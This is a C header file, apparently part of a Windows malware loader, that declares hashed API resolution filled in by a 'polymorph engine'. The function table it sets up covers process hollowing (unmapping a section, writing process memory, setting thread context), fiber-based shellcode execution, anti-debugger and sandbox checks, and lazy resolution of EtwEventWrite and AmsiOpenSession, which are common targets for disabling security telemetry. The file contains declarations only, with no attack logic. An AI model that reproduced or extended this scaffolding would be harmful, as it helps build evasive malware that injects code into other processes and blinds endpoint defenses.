186 lines
8.1 KiB
C
186 lines
8.1 KiB
C
|
#ifndef API_RESOLVE_H
|
||
|
|
#define API_RESOLVE_H
|
||
|
|
|
||
|
|
#include <windows.h>
|
||
|
|
#include <winternl.h>
|
||
|
|
|
||
|
|
/* ── Module hash constants (DJB2, patched by polymorph engine) ──── */
|
||
|
|
|
||
|
|
#define HASH_NTDLL 0xDEADBEEF
|
||
|
|
#define HASH_KERNEL32 0xDEADBEEF
|
||
|
|
#define HASH_ADVAPI32 0xDEADBEEF
|
||
|
|
#define HASH_USER32 0xDEADBEEF
|
||
|
|
#define HASH_AMSI 0xDEADBEEF
|
||
|
|
|
||
|
|
/* ── Function hash constants ───────────────────────────────────── */
|
||
|
|
|
||
|
|
/* ntdll.dll */
|
||
|
|
#define HASH_NtUnmapViewOfSection 0xDEADBEEF
|
||
|
|
#define HASH_NtQueryInformationProcess 0xDEADBEEF
|
||
|
|
|
||
|
|
/* kernel32.dll */
|
||
|
|
#define HASH_LoadLibraryA 0xDEADBEEF
|
||
|
|
#define HASH_CreateProcessW 0xDEADBEEF
|
||
|
|
#define HASH_GetThreadContext 0xDEADBEEF
|
||
|
|
#define HASH_SetThreadContext 0xDEADBEEF
|
||
|
|
#define HASH_ResumeThread 0xDEADBEEF
|
||
|
|
#define HASH_TerminateProcess 0xDEADBEEF
|
||
|
|
#define HASH_ReadProcessMemory 0xDEADBEEF
|
||
|
|
#define HASH_WriteProcessMemory 0xDEADBEEF
|
||
|
|
#define HASH_VirtualAllocEx 0xDEADBEEF
|
||
|
|
#define HASH_VirtualAlloc 0xDEADBEEF
|
||
|
|
#define HASH_VirtualProtect 0xDEADBEEF
|
||
|
|
#define HASH_VirtualFree 0xDEADBEEF
|
||
|
|
#define HASH_CreateThread 0xDEADBEEF
|
||
|
|
#define HASH_WaitForSingleObject 0xDEADBEEF
|
||
|
|
#define HASH_CloseHandle 0xDEADBEEF
|
||
|
|
#define HASH_ExitProcess 0xDEADBEEF
|
||
|
|
#define HASH_Sleep 0xDEADBEEF
|
||
|
|
#define HASH_GetTickCount64 0xDEADBEEF
|
||
|
|
#define HASH_GlobalMemoryStatusEx 0xDEADBEEF
|
||
|
|
#define HASH_GetSystemInfo 0xDEADBEEF
|
||
|
|
#define HASH_IsDebuggerPresent 0xDEADBEEF
|
||
|
|
#define HASH_GetCurrentProcess 0xDEADBEEF
|
||
|
|
#define HASH_QueryPerformanceFrequency 0xDEADBEEF
|
||
|
|
#define HASH_QueryPerformanceCounter 0xDEADBEEF
|
||
|
|
#define HASH_GetSystemDirectoryA 0xDEADBEEF
|
||
|
|
#define HASH_lstrcatA 0xDEADBEEF
|
||
|
|
#define HASH_CreateFileA 0xDEADBEEF
|
||
|
|
#define HASH_GetFileSize 0xDEADBEEF
|
||
|
|
#define HASH_CreateFileMappingA 0xDEADBEEF
|
||
|
|
#define HASH_MapViewOfFile 0xDEADBEEF
|
||
|
|
#define HASH_UnmapViewOfFile 0xDEADBEEF
|
||
|
|
|
||
|
|
/* advapi32.dll */
|
||
|
|
#define HASH_RegOpenKeyExA 0xDEADBEEF
|
||
|
|
#define HASH_RegCloseKey 0xDEADBEEF
|
||
|
|
|
||
|
|
/* user32.dll */
|
||
|
|
#define HASH_GetCursorPos 0xDEADBEEF
|
||
|
|
|
||
|
|
/* Fiber APIs (kernel32) */
|
||
|
|
#define HASH_ConvertThreadToFiber 0xDEADBEEF
|
||
|
|
#define HASH_CreateFiber 0xDEADBEEF
|
||
|
|
#define HASH_SwitchToFiber 0xDEADBEEF
|
||
|
|
#define HASH_DeleteFiber 0xDEADBEEF
|
||
|
|
#define HASH_FlushInstructionCache 0xDEADBEEF
|
||
|
|
|
||
|
|
/* Lazy-resolved (not in ApiTable struct) */
|
||
|
|
#define HASH_EtwEventWrite 0xDEADBEEF
|
||
|
|
#define HASH_AmsiOpenSession 0xDEADBEEF
|
||
|
|
|
||
|
|
/* ── Function pointer typedefs ─────────────────────────────────── */
|
||
|
|
|
||
|
|
/* ntdll */
|
||
|
|
typedef NTSTATUS (NTAPI *fn_NtUnmapViewOfSection)(HANDLE, PVOID);
|
||
|
|
typedef NTSTATUS (NTAPI *fn_NtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG);
|
||
|
|
|
||
|
|
/* kernel32 */
|
||
|
|
typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR);
|
||
|
|
typedef BOOL (WINAPI *fn_CreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||
|
|
typedef BOOL (WINAPI *fn_GetThreadContext)(HANDLE, LPCONTEXT);
|
||
|
|
typedef BOOL (WINAPI *fn_SetThreadContext)(HANDLE, const CONTEXT*);
|
||
|
|
typedef DWORD (WINAPI *fn_ResumeThread)(HANDLE);
|
||
|
|
typedef BOOL (WINAPI *fn_TerminateProcess)(HANDLE, UINT);
|
||
|
|
typedef BOOL (WINAPI *fn_ReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
|
||
|
|
typedef BOOL (WINAPI *fn_WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
|
||
|
|
typedef LPVOID (WINAPI *fn_VirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||
|
|
typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
|
||
|
|
typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||
|
|
typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD);
|
||
|
|
typedef HANDLE (WINAPI *fn_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||
|
|
typedef DWORD (WINAPI *fn_WaitForSingleObject)(HANDLE, DWORD);
|
||
|
|
typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE);
|
||
|
|
typedef void (WINAPI *fn_ExitProcess)(UINT);
|
||
|
|
typedef void (WINAPI *fn_Sleep)(DWORD);
|
||
|
|
typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void);
|
||
|
|
typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
|
||
|
|
typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO);
|
||
|
|
typedef BOOL (WINAPI *fn_IsDebuggerPresent)(void);
|
||
|
|
typedef HANDLE (WINAPI *fn_GetCurrentProcess)(void);
|
||
|
|
typedef BOOL (WINAPI *fn_QueryPerformanceFrequency)(LARGE_INTEGER*);
|
||
|
|
typedef BOOL (WINAPI *fn_QueryPerformanceCounter)(LARGE_INTEGER*);
|
||
|
|
typedef UINT (WINAPI *fn_GetSystemDirectoryA)(LPSTR, UINT);
|
||
|
|
typedef LPSTR (WINAPI *fn_lstrcatA)(LPSTR, LPCSTR);
|
||
|
|
typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||
|
|
typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD);
|
||
|
|
typedef HANDLE (WINAPI *fn_CreateFileMappingA)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
|
||
|
|
typedef LPVOID (WINAPI *fn_MapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
|
||
|
|
typedef BOOL (WINAPI *fn_UnmapViewOfFile)(LPCVOID);
|
||
|
|
typedef LPVOID (WINAPI *fn_ConvertThreadToFiber)(LPVOID);
|
||
|
|
typedef LPVOID (WINAPI *fn_CreateFiber)(SIZE_T, LPFIBER_START_ROUTINE, LPVOID);
|
||
|
|
typedef void (WINAPI *fn_SwitchToFiber)(LPVOID);
|
||
|
|
typedef void (WINAPI *fn_DeleteFiber)(LPVOID);
|
||
|
|
typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
|
||
|
|
|
||
|
|
/* advapi32 */
|
||
|
|
typedef LONG (WINAPI *fn_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
||
|
|
typedef LONG (WINAPI *fn_RegCloseKey)(HKEY);
|
||
|
|
|
||
|
|
/* user32 */
|
||
|
|
typedef BOOL (WINAPI *fn_GetCursorPos)(LPPOINT);
|
||
|
|
|
||
|
|
/* ── API table struct ──────────────────────────────────────────── */
|
||
|
|
|
||
|
|
typedef struct _ApiTable {
|
||
|
|
/* Module bases */
|
||
|
|
void *ntdll_base;
|
||
|
|
void *kernel32_base;
|
||
|
|
|
||
|
|
/* ntdll */
|
||
|
|
fn_NtUnmapViewOfSection pNtUnmapViewOfSection;
|
||
|
|
fn_NtQueryInformationProcess pNtQueryInformationProcess;
|
||
|
|
|
||
|
|
/* kernel32 */
|
||
|
|
fn_LoadLibraryA pLoadLibraryA;
|
||
|
|
fn_CreateProcessW pCreateProcessW;
|
||
|
|
fn_GetThreadContext pGetThreadContext;
|
||
|
|
fn_SetThreadContext pSetThreadContext;
|
||
|
|
fn_ResumeThread pResumeThread;
|
||
|
|
fn_TerminateProcess pTerminateProcess;
|
||
|
|
fn_ReadProcessMemory pReadProcessMemory;
|
||
|
|
fn_WriteProcessMemory pWriteProcessMemory;
|
||
|
|
fn_VirtualAllocEx pVirtualAllocEx;
|
||
|
|
fn_VirtualAlloc pVirtualAlloc;
|
||
|
|
fn_VirtualProtect pVirtualProtect;
|
||
|
|
fn_VirtualFree pVirtualFree;
|
||
|
|
fn_CreateThread pCreateThread;
|
||
|
|
fn_WaitForSingleObject pWaitForSingleObject;
|
||
|
|
fn_CloseHandle pCloseHandle;
|
||
|
|
fn_ExitProcess pExitProcess;
|
||
|
|
fn_Sleep pSleep;
|
||
|
|
fn_GetTickCount64 pGetTickCount64;
|
||
|
|
fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx;
|
||
|
|
fn_GetSystemInfo pGetSystemInfo;
|
||
|
|
fn_IsDebuggerPresent pIsDebuggerPresent;
|
||
|
|
fn_GetCurrentProcess pGetCurrentProcess;
|
||
|
|
fn_QueryPerformanceFrequency pQueryPerformanceFrequency;
|
||
|
|
fn_QueryPerformanceCounter pQueryPerformanceCounter;
|
||
|
|
fn_GetSystemDirectoryA pGetSystemDirectoryA;
|
||
|
|
fn_lstrcatA plstrcatA;
|
||
|
|
fn_CreateFileA pCreateFileA;
|
||
|
|
fn_GetFileSize pGetFileSize;
|
||
|
|
fn_CreateFileMappingA pCreateFileMappingA;
|
||
|
|
fn_MapViewOfFile pMapViewOfFile;
|
||
|
|
fn_UnmapViewOfFile pUnmapViewOfFile;
|
||
|
|
fn_ConvertThreadToFiber pConvertThreadToFiber;
|
||
|
|
fn_CreateFiber pCreateFiber;
|
||
|
|
fn_SwitchToFiber pSwitchToFiber;
|
||
|
|
fn_DeleteFiber pDeleteFiber;
|
||
|
|
fn_FlushInstructionCache pFlushInstructionCache;
|
||
|
|
|
||
|
|
/* advapi32 */
|
||
|
|
fn_RegOpenKeyExA pRegOpenKeyExA;
|
||
|
|
fn_RegCloseKey pRegCloseKey;
|
||
|
|
|
||
|
|
/* user32 */
|
||
|
|
fn_GetCursorPos pGetCursorPos;
|
||
|
|
} ApiTable;
|
||
|
|
|
||
|
|
extern ApiTable g_api;
|
||
|
|
|
||
|
|
void api_resolve_init(void);
|
||
|
|
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash);
|
||
|
|
|
||
|
|
#endif /* API_RESOLVE_H */
|